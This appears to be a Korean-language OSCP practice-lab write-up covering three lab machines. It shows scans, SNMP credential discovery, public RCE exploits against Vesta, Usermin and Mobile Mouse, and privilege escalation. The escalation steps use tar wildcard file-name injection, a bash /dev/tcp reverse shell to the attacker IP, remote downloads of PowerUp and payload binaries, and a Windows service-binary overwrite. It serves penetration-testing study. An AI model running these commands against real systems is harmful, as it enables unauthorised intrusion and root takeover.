Machine IP :
192.168.244.156 192.168.244.157 192.168.244.155
192.168.244.156
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
포트 스캔
# Nmap 7.95 scan initiated Mon Jun 22 06:42:23 2026 as: /usr/lib/nmap/nmap -Pn -p21,22,25,53,80,110,143,465,587,993,995,2525,3306,8080,8083,8443 -sC -sV -T4 -oA results/192.168.244.156/tcp_detail 192.168.244.156
Nmap scan report for 192.168.244.156
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7e:62:fd:92:52:6f:64:b1:34:48:8d:1e:52:f1:74:c6 (RSA)
| 256 1b:f7:0c:c7:1b:05:12:a9:c5:c5:78:b7:2a:54:d2:83 (ECDSA)
|_ 256 ee:d4:a1:1a:07:b4:9f:d9:e5:2d:f6:b8:8d:dd:bf:d7 (ED25519)
25/tcp open smtp Exim smtpd 4.90_1
|_ssl-date: TLS randomness does not represent time
| smtp-commands: oscp.exam Hello nmap.scanme.org [192.168.45.173], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN, CHUNKING, STARTTLS, HELP
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.18 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.18-Ubuntu
80/tcp open http nginx
|_http-title: oscp.exam — Coming Soon
| http-methods:
|_ Potentially risky methods: TRACE
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: UIDL CAPA AUTH-RESP-CODE RESP-CODES STLS TOP PIPELINING SASL(PLAIN LOGIN) USER
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
143/tcp open imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
|_imap-capabilities: LOGIN-REFERRALS LITERAL+ have IMAP4rev1 post-login AUTH=LOGINA0001 IDLE capabilities SASL-IR OK more ENABLE STARTTLS ID listed Pre-login AUTH=PLAIN
465/tcp open ssl/smtp Exim smtpd 4.90_1
| smtp-commands: oscp.exam Hello nmap.scanme.org [192.168.45.173], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN, CHUNKING, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
587/tcp open smtp Exim smtpd 4.90_1
| smtp-commands: oscp.exam Hello nmap.scanme.org [192.168.45.173], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN, CHUNKING, STARTTLS, HELP
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
|_imap-capabilities: CAPABILITY
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: RESP-CODES SASL(PLAIN LOGIN) UIDL TOP USER AUTH-RESP-CODE CAPA PIPELINING
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
2525/tcp open smtp Exim smtpd 4.90_1
| smtp-commands: oscp.exam Hello nmap.scanme.org [192.168.45.173], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN, CHUNKING, STARTTLS, HELP
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=oscp.example.com/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US
| Not valid before: 2022-11-08T08:16:51
|_Not valid after: 2023-11-08T08:16:51
3306/tcp open mysql MySQL 5.7.40-0ubuntu0.18.04.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_5.7.40_Auto_Generated_Server_Certificate
| Not valid before: 2022-11-08T08:15:37
|_Not valid after: 2032-11-05T08:15:37
| mysql-info:
| Protocol: 10
| Version: 5.7.40-0ubuntu0.18.04.1
| Thread ID: 9
| Capabilities flags: 65535
| Some Capabilities: IgnoreSigpipes, InteractiveClient, Support41Auth, LongColumnFlag, LongPassword, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolOld, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, SupportsLoadDataLocal, ODBCClient, DontAllowDatabaseTableColumn, FoundRows, SupportsCompression, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: U}4\x10%D\x07R?\x13I5z\x1F#z]SP7
|_ Auth Plugin Name: mysql_native_password
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1)
|_http-server-header: Apache/2.4.29 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: oscp.exam — Coming Soon
8083/tcp open http nginx
|_http-title: Did not follow redirect to https://192.168.244.156:8083/
8443/tcp open http Apache httpd 2.4.29 ((Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1)
|_http-server-header: Apache/2.4.29 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: Host: oscp.exam; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
161/udp open snmp SNMPv1 server (public)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 22 06:42:51 2026 -- 1 IP address (1 host up) scanned in 27.81 seconds
UDP SNMP 포트가 열려있음 비밀번호는 디폴트 비멀번호인 public임
161/udp open snmp SNMPv1 server (public)
Net-SNMP의 extend 사용해서 SNMP 정보 열거
snmpwalk -v 1 -c public 192.168.244.156 NET-SNMP-EXTEND-MIB::nsExtendObjects
jack:3PUKsX98BMupBiCf 크리덴셜 발견

8083 포트에 VESTA 어플리케이션이 있음, jack 크리덴셜로 로그인이 가능함

권한 상승
[misconfiguration 또는 exploit] 요약
VESTA는 RCE 취약점이 있음

CVE-2015-4117 poc 검색 결과, https://github.com/CSpanias/vesta-rce-exploit 코드 있음
루트 권한 및 플래그 획득

막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약
192.168.244.157
FTP 포트 익명로그인 가능함

초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
backup 폴더에 PDF 파일들이 있음

PDF 파일 열거, 3개의 유저 네임 확보
┌──(root㉿kali)-[/home/kali/oscp_pen200/oscp_C/192.168.244.157]
└─# exiftool *.pdf | grep Author
Author : Cassie
Author : Mark
Author : Robert
20000번 포트는 Usermin 웹 인터페이스고 해당 버전은 RCE가 존재함

에러 발생
┌──(root㉿kali)-[/home/kali/oscp_pen200/oscp_C/192.168.244.157]
└─# python3 usermin-rce.py -u https://192.168.244.157 -l cassie -p cassie -lh 192.168.45.173 -lp 4444
============================================================
Usermin 1.820 RCE Exploit
============================================================
[+] Validating target: https://https://192.168.244.157:20000
[-] Failed to connect to target: HTTPSConnectionPool(host='https', port=443): Max retries exceeded with url: /192.168.244.15
7:20000 (Caused by NameResolutionError("<urllib3.connection.HTTPSConnection object at 0xffff9b4baf90>: Failed to resolve 'ht
tps' ([Errno -2] Name or service not known)"))
https 스킴 제거 후 다시 익스플로잇 결과, 초기 침투 성공

권한 상승
[misconfiguration 또는 exploit] 요약
grep "CRON" /var/log/syslog 열거 결과, 루트 권한으로 tar -zxf backup.tar.gz * 크론이 동작함

동작하는 크론 스크립트
cd /opt/admin && tar -zxf /tmp/backup.tar.gz *
https://gtfobins.org/gtfobins/tar/ 문서에 따르면 tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash 기법으로 권한 상승이 가능함
echo '' >> '--checkpoint=1' 파일 생성
echo '' >> '--checkpoint-action=exec=bash shell.sh' 파일 생성
echo '/bin/bash -i >& /dev/tcp/192.168.45.173/4444 0>&1' >> shell.sh 파일 생성

크론이 동작하며 shell.sh 파일 실행, 루트 권한 및 플래그 획득

192.168.105.155
초기 침투
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_ssl-date: 2026-06-23T00:25:53+00:00; -1h00m00s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=Cloudbase-Init WinRM
| Not valid before: 2026-06-21T23:30:05
|_Not valid after: 2036-06-19T23:30:05
7680/tcp open pando-pub?
9099/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest, GetRequest:
| HTTP/1.0 200 OK
| Server: Mobile Mouse Server
| Content-Type: text/html
| Content-Length: 321
|_ <HTML><HEAD><TITLE>Success!</TITLE><meta name="viewport" content="width=device-width,user-scalable=no" /></HEAD><BODY BGCOLOR=#000000><br><br><p style="font:12pt arial,geneva,sans-serif; text-align:center; color:green; font-weight:bold;" >The server running on "OSCP" was able to receive your request.</p></BODY></HTML>
9999/tcp open abyss?
35913/tcp open unknown
9099 포트는 Mobile Mouse Server
9099/tcp open unknown vuln 검색

RCE가 존재함 https://github.com/CSpanias/mobile-mouse-rce/blob/main/mobile-mouse-rce.py
┌──(root㉿kali)-[/home/kali/oscp_pen200/oscp_C/192.168.105.155]
└─# searchsploit mobile mouse
Exploit Title | Path
------------------------------------------------------------------------------------------- ---------------------------------
Mobile Mouse 3.6.0.4 - Remote Code Execution (RCE) | windows/remote/51010.py
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
searchsploit으로 51010.py 다운로드 51010.py 파일의 소스코드를 수정해야 함 소스코드의 sleep 함수 시간을 조정해야 함
sed -i 's/sleep(0.5)/sleep(0.1)/; s/sleep(1.2)/sleep(0.3)/' 51010.py
sleep함수 시간 조정한 뒤, 익스플로잇 성공 sleep 값을 줄여서 스크립트를 빠르게 만들어 세션이 끊기기 전에 익스플로잇 하게 만듬
┌──(root㉿kali)-[/home/kali/oscp_pen200/oscp_C/192.168.105.155]
└─# python3 51010.py --target 192.168.105.155 --file reverse.exe --lhost 192.168.45.173
/home/kali/oscp_pen200/oscp_C/192.168.105.155/51010.py:41: SyntaxWarning: invalid escape sequence '\{'
download_string= f"curl http://{lhost}:8080/{command_shell} -o c:\Windows\Temp\{command_shell}".encode('utf-8')
/home/kali/oscp_pen200/oscp_C/192.168.105.155/51010.py:41: SyntaxWarning: invalid escape sequence '\W'
download_string= f"curl http://{lhost}:8080/{command_shell} -o c:\Windows\Temp\{command_shell}".encode('utf-8')
/home/kali/oscp_pen200/oscp_C/192.168.105.155/51010.py:55: SyntaxWarning: invalid escape sequence '\{'
shell_string= f"c:\Windows\Temp\{command_shell}".encode('utf-8')
/home/kali/oscp_pen200/oscp_C/192.168.105.155/51010.py:55: SyntaxWarning: invalid escape sequence '\W'
shell_string= f"c:\Windows\Temp\{command_shell}".encode('utf-8')
Executing The Command Shell...
Take The Rose
초기 침투 성공

권한 상승
권한상승 취약점을 찾는 Powerup.ps1 실행
iwr -uri http://192.168.45.173:8000/PowerUp.ps1 -Outfile powerup.ps1
powershell -exec bypass -c ". .\powerup.ps1; Invoke-AllChecks"
GPGOrchestrator 서비스가 수정 권한이 존재함
ServiceName : GPGOrchestrator
Path : "C:\Program Files\MilleGPG5\GPGService.exe"
ModifiableFile : C:\Program Files\MilleGPG5\GPGService.exe
ModifiableFilePermissions : {Delete, WriteAttributes, Synchronize, ReadControl...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -Name 'GPGOrchestrator'
CanRestart : True
Name : GPGOrchestrator
Check : Modifiable Service Files
ServiceName : GPGOrchestrator
Path : "C:\Program Files\MilleGPG5\GPGService.exe"
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'GPGOrchestrator'
CanRestart : True
Name : GPGOrchestrator
Check : Modifiable Services
PGOrchestrator 중지
PS C:\windows\tasks> sc.exe stop GPGOrchestrator
SERVICE_NAME: GPGOrchestrator
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
리버스 쉘을 똑같은 파일 이름으로 다운로드 해 덮어쓰기
iwr -uri http://192.168.45.173:8000/evil.exe -Outfile "C:\Program Files\MilleGPG5\GPGService.exe"
서비스 재시작
sc.exe start GPGOrchestrator
2[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
local.txt, proof.txt 플래그 획득
C:\Users\Tim\Desktop>type local.txt
type local.txt
04e40761534788a03ff6ef96a22d9f72

막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약
Mobile Mouse Server 익스플로잇 코드에서 c:\Windows\Temp\payload.exe 실행하는 부분 대신 curl http://192.168.45.173:8080/EXEC_PROOF 코드로 수정해서 내 서버에 두 번째 GET 요청이 들어오는지 확인하면 실행은 된다는 것을 파악 가능함